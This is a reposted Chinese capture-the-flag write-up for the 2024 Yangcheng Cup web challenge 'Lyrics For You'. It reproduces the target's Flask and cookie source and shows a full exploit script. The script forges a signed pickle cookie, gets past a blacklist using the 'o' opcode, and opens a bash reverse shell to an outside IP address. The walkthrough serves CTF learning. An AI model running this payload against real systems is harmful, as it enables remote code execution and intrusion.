0


2024羊城杯 Web Wp

Lyrics For You

进去之后发现lyrics?lyrics={filename}这个接口可以读取任意文件

lyrics?lyrics=app.py把源码读下来

然后顺着app.py里import的库把整个源码都读下来。

发现一个board接口和login接口,大概就是:login界面将输入的username经过set_cookie函数配置了cookie,然后在board界面解码cookie,并且将cookie中user的值放进模板里面渲染。但是这道题问题在于pickle的反序列化漏洞,a = pickle.loads(data)。

本地启动一个flask进行测试

app.py

import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_bytes(16)classUserData:def__init__(self, username):
        self.username = username

defWaf(data):
    blacklist =[b'R',b'secret',b'eval',b'file',b'compile',b'open',b'os.popen']
    valid =Falsefor word in blacklist:if word.lower()in data.lower():
            valid =Truebreakreturn valid

@app.route("/board", methods=['GET'])defboard():
    invalid = cookie_check("user", secret=secret_code)if invalid:return"Nope, invalid code get out!"
    data = get_cookie("user", secret=secret_code)print(data)ifisinstance(data,bytes):
        a = pickle.loads(data)
        data =str(data, encoding="unicode_escape")returnf"User data: {data}"# 返回用户数据的字符串表示else:returnf"Sorry,User data: {data}"# 返回用户数据的字符串表示if __name__ =="__main__":
    os.chdir(os.path.dirname(__file__))
    app.run(debug=True, host="0.0.0.0", port=8111)

cookie.py

import base64
import hashlib
import hmac
import pickle
from flask import make_response, request

unicode=strbasestring=str# Quoted from python bottle template, thanks :Ddefcookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data,-1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())return tob('!')+ sig + tob('?')+ msg

defcookie_decode(data, key):
    data = tob(data)if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'),1)if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):return pickle.loads(base64.b64decode(msg))returnNonedefwaf(data):
    blacklist =[b'R',b'secret',b'eval',b'file',b'compile',b'open',b'os.popen']
    valid =Falsefor word in blacklist:if word in data:
            valid =True# print(word)breakreturn valid

defcookie_check(key, secret=None):
    a = request.cookies.get(key)
    data = tob(request.cookies.get(key))if data:if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'),1)if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)if waf(res):returnTrueelse:returnFalsereturnTruedeftob(s, enc='utf8'):return s.encode(enc)ifisinstance(s,unicode)elsebytes(s)defget_cookie(key, default=None, secret=None):
    value = request.cookies.get(key)if secret and value:
        dec = cookie_decode(value, secret)print(dec)print(dec[1])return dec[1]if dec and dec[0]== key else default
    return value or default

defcookie_is_encoded(data):returnbool(data.startswith(tob('!'))and tob('?')in data)def_lscmp(a, b):returnnotsum(0if x == y else1for x, y inzip(a, b))andlen(a)==len(b)defset_cookie(name, value, secret=None,**options):if secret:
        value = touni(cookie_encode((name, value), secret))
        resp = make_response("success")
        resp.set_cookie("user", value, max_age=3600)return resp
    elifnotisinstance(value,basestring):raise TypeError('Secret key missing for non-string Cookie.')iflen(value)>4096:raise ValueError('Cookie value too long.')deftouni(s, enc='utf8', err='strict'):return s.decode(enc, err)ifisinstance(s,bytes)elseunicode(s)

其中要执行到pickle.loads(),需要先正确按他的方式编码cookie,然后再过waf,最后再通过isinstance检查。

1、cookie编码直接用app.py中原有的代码,改一改就行,有些地方有坑 ,理解了代码逻辑应该问题不大。

2、waf禁用了R指令,pickle反序列化常用的__reduce__用不了。利用https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0Dy7GQDt%3DG%3DGCDlhjeauADc7lrxQwxxhID这篇文章中给出的思路,利用OPCODE(相当于pickle的另一种可以被解析的编码)来绕过

3、前面都写对了isinstance检查直接就能过

于是构造出下面的payload来实现RCE 反弹shell(反弹shell bash -i不行,前面必须加个bash -c新启动一个bash):

#-*- coding : utf-8-*-# coding: utf-8import base64
import hashlib
import hmac
import pickle
from flask import make_response, request
import requests
import os

unicode=strbasestring=str# Quoted from python bottle template, thanks :Ddefcookie_encode(data, key):# 序列化对象并使用 base64 编码
    msg = base64.b64encode(pickle.dumps(data, protocol=-1)).decode('gbk')# 生成 HMAC 签名,并使用 base64 编码
    sig = base64.b64encode(hmac.new(tob(key), tob(msg), digestmod=hashlib.md5).digest()).decode('utf-8')# 组合签名和消息字符串return'!'+ sig +'?'+ msg

defwaf(data):
    blacklist =[b'R',b'secret',b'eval',b'file',b'compile',b'open',b'os.popen']
    valid =Falsefor word in blacklist:if word in data:
            valid =True# print(word)breakreturn valid

deftob(s):"""Convert a string to bytes using UTF-8 encoding."""return s.encode('utf-8')def_lscmp(a, b):returnnotsum(0if x == y else1for x, y inzip(a, b))andlen(a)==len(b)defset_cookie(name, value, secret=None,**options):if secret:
        value = touni(cookie_encode((name, value), secret))return value

deftouni(s, enc='utf8', err='strict'):return s.decode(enc, err)ifisinstance(s,bytes)elseunicode(s)classUserData:def__init__(self, username):
        self.username = username

classU1:def__setstate__(self, state):return os.system("echo 111")
    

    
malicious_payload=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/20.243.255.185/2333 0>&1"'
o.'''
secret_code ="EnjoyThePlayTime123456"# malicious_payload = pickle.dumps(b'\x80\x03c__main__\nUserData\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc\nb.')# malicious_payload = pickle.dumps(UserData())print(isinstance(malicious_payload,bytes))# loaded_obj = pickle.loads(malicious_payload)

username = malicious_payload

user = UserData(username)

res = username

malicious_cookie = set_cookie("user", res, secret=secret_code)

cookies ={'user': malicious_cookie}

response = requests.get("http://139.155.126.78:33886/board", cookies=cookies)print(response.text)

反弹shell之后根目录有个readflag,执行就得到flag

DASCTF{86812765238271334845018089677676}

标签: 前端

本文转载自: https://blog.csdn.net/GKD2019/article/details/141650298
版权归原作者 GKDf1sh 所有, 如有侵权,请联系我们删除。

“2024羊城杯 Web Wp”的评论:

还没有评论